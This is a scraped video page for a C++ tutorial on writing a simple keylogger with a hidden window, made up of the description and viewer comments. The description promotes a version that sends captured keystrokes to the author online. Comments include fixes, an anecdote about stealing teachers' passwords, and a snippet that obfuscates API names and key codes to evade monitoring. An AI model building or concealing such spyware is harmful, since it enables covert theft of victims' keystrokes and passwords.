simple Keylogger with Hidden Window and Log C++ Tutorial Visual Studio 2020

preview_player
Показать описание
Hi guys in this tutorial i am showing you how to make a really simple keylogger in cpp.

Download:
Get the advanced version which sends the data to you automatically via web and stores it in a database here!

note: i did not come up with the code.

#Website

#Social

#Messenger
Telegram: SeeSharper
Skype: hazardedit

#Email
Рекомендации по теме
Комментарии
Автор

For those who are getting an error like argument of type "_const char " is incompatible with parameter of type "char *, try replacing int Save(int _key, char *file); with int Save(int _key, char const *file);

Valvoja
Автор

you should add
#include <fstream>
to your script so its compatible with all compilers

miagault
Автор

Thanks but why are you mixing C commands for file handling and C++ lib , just use commands from fstream lib which is implemented in C++

ahmoahmic
Автор

I did this back in 1990, in 8086 assembler and it was a TSR even.
I stole the supervisor and maths/computer science teacher passwords with that :)
The great thing about assembler, that it was only 100 bytes or so.
BTW (you probably have learned by now) but use const for variables that you’re not going to change in your functions. That often shrinks code and makes them a tiny bit faster.

And whenever you open a file or a stream, YOU NEED to verify if it opened well. Especially for a stealthy program ;)

rdoetjes
Автор

C++ is one of the most powerfull languages like a python, nice tutorial m8 ;)

mbrkic
Автор

instead of all those "else if" you could used a switch case

Diego-mygc
Автор

That's a Good Tutorial Although This has a slight issue in this case the your program doesn't able to differentiate b/w ' A or a ' so it will write all data in upper case So you have to create three more functions to check the state of capslock and whether the key is pressed with shift or not and if that the case then your third function should be able to convert according to the result of previous two functions.

lucifermorningstar
Автор

To fix the issue:
const char* is not compatible with char*
Fix:
declare function "int save" as:
int save(int key, const char* file) rather than char* file as "log.txt" is of type const char*.
No problem :)
~Sincerely Guide4Ever

GuideEver
Автор

fopen_s(&OUTPUT_FILE, file, "a+"); got me past that debug error.

rubberbandloser
Автор

For a more stealthy approach, obviously you would need to encode/encrypt the strings "User32.dll" and "GetAsyncKeyState". The getasynckeystate and loadlib api can still be monitered. This snippet assumes the VKey data is being stored in a std::vector<int> and has been ofuscated like so:
VK + (magik_number * 2)

typedef short (_stdcall* Func)(int); // GetAsyncKeyStae sig
HINSTANCE hUser32Dll = LoadLibraryA("User32.dll");
if (hUser32Dll != NULL) {
Func checkKeys = (Func)GetProcAddress(hUser32Dll, "GetAsyncKeyState");
for (const int& codedVKey : codedVKeys) {
int decodedVKey = codedVKey - (MAGIK_NUMBER * 2);
if (checkKeys(decodedVKey)) {

return;
}
}
}

kopuz.co.uk.
Автор

I was working on it but I couldn't make it and afterwards I saw you between useless videos, thank you for your help... I've ever thought I should use windows.h

Agent-hhts
Автор

I know this might be a very stupid question, but why use the file arguement as a pointer?

gravko
Автор

Extremely interesting video, but is there an advantage to using the functional write as opposed to using fstream?

Yeet-tcxy
Автор

Typically you have to have your main last because you need to initialize your functions before running them

klevin
Автор

is it possible to make so i have et on a USB PEN and i plug it in my pc run it and maybe some days later i come back plug the usb in and (do something) it dumps the log.txt onto the pen?

kalkvand
Автор

Thank you for this video. I tried to do something like this with C#, but I think is worse than your example.

ivanbolgov
Автор

If the most significant bit of the return value(SHORT)is set then the key is down since the most significant bit is set this means the function will return a negative value since that is how negative numbers work in binary so this function returns -32767 which is basically equivalent to

wasiimo
Автор

When I went to windows debug it says I have a lot of errors how can that be if I did what you said?

letpikariserise
Автор

I can learnning c++ with this video tanks Bro

liorkilunov
Автор

wont it be better to use a switch case for stuff like shift, backspace etc etc?

lmxabks